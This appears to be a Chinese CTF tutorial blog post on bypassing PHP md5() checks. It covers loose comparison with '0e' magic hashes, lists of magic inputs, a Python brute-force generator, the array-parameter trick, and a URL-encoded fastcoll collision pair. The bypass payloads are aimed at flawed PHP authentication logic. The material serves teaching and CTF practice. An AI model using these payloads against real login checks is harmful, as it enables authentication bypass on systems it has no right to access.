md5 php 漏洞,CTF中常见php-MD5()函数漏洞

数字与字符串之间的比较1

2var_dump( 0 == "a" );

var_dump( "0" == "a" );

第一个返回的是 true ,第二个返回的是 false

因为php把字母开头的转化为整型时,转化为0, 前面数字后面字母的话就只取到第一个字母出现的位置之前(如intval(‘123abd45gf’)结果为123)

MD5函数漏洞1

2$_GET['name'] != $_GET['password']

MD5($_GET['name']) == MD5($_GET['password'])

要求满足上述条件则

那么要求name和password数值不同但是MD5相同,在这里可以利用绕过。

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

纯数字类:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25240610708 0e462097431906509019562988736854

314282422 0e990995504821699494520356953734

571579406 0e972379832854295224118025748221

903251147 0e174510503823932942361353209384

1110242161 0e435874558488625891324861198103

1320830526 0e912095958985483346995414060832

1586264293 0e622743671155995737639662718498

2302756269 0e250566888497473798724426794462

2427435592 0e067696952328669732475498472343

2653531602 0e877487522341544758028810610885

3293867441 0e471001201303602543921144570260

3295421201 0e703870333002232681239618856220

3465814713 0e258631645650999664521705537122

3524854780 0e507419062489887827087815735195

3908336290 0e807624498959190415881248245271

4011627063 0e485805687034439905938362701775

4775635065 0e998212089946640967599450361168

4790555361 0e643442214660994430134492464512

5432453531 0e512318699085881630861890526097

5579679820 0e877622011730221803461740184915

5585393579 0e664357355382305805992765337023

6376552501 0e165886706997482187870215578015

7124129977 0e500007361044747804682122060876

7197546197 0e915188576072469101457315675502

7656486157 0e451569119711843337267091732412

大写字母类

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18QLTHNDT 0e405967825401955372549139051580

QNKCDZO 0e830400451993494058024219903391

EEIZDOI 0e782601363539291779881938479162

TUFEPMC 0e839407194569345277863905212547

UTIPEZQ 0e382098788231234954670291303879

UYXFLOI 0e552539585246568817348686838809

IHKFRNS 0e256160682445802696926137988570

PJNPDWY 0e291529052894702774557631701704

ABJIHVY 0e755264355178451322893275696586

DQWRASX 0e742373665639232907775599582643

DYAXWCA 0e424759758842488633464374063001

GEGHBXL 0e248776895502908863709684713578

GGHMVOE 0e362766013028313274586933780773

GZECLQZ 0e537612333747236407713628225676

NWWKITQ 0e763082070976038347657360817689

NOOPCJF 0e818888003657176127862245791911

MAUXXQC 0e478478466848439040434801845361

MMHUWUV 0e701732711630150438129209816536

或者直接py脚本生成

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24# -*- coding: utf8 -*-

import hashlib

payload = "QWERTYUIOPASDFGHJKLZXCVBNM"

#payload = "qwertyuiopasdfghjklzxcvbnm"

#payload = "0123456789"

def calcMd5(s):

MD5 = hashlib.md5(s).hexdigest()

if MD5[0:2] == "0e" and MD5[2:32].isdigit():

print s,MD5

def getStr(payload,s,slen):

if len(s) == slen:

#Custom string

calcMd5(s)

return s

for j in xrange(len(payload)):

sl= s+payload[j]

getStr(payload,sl,slen)

if __name__ == '__main__':

getStr(payload,'',7)

sha1加密后以0E开头

1

2

3

4sha1('aaroZmOk')

sha1('aaK1STfY')

sha1('aaO8zKZF')

sha1('aa3OFF9m')

GET传入a=QNKCDZO&b=240610708就能绕过了

php特性1

2

3if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){

die("success!");

}

PHP中md5的函数特性

1md5([1,2,3]) == md5([4,5,6]) == NULL

[1] !== [2] && md5([1]) === md5([2])

所以GET传入a[]=1&b[]=2就能够绕过了。

MD5碰撞1

2

3if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){

die("success!);

}

要求构造param1和param2不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。

1

2Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

因为md5算法是一种摘要算法,也就是说它会把输入的数据压缩,那么就有可能存在两个不同的字符串经过md5加密后,会有两个MD5值相同。

这里用到了一个工具fastcoll_v1.0.0.5

先创建1.txt 和 2.txt

然后用fastcoll_v1.0.0.5 -i 1.txt 2.txt -o 3.txt 4.txt这条命令就可产生两个md5值相同的文件了。

上传用url编码。也就将文件以二进制的方式读入,然后编码成url编码。

注意一点,post时一定要urlencode!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值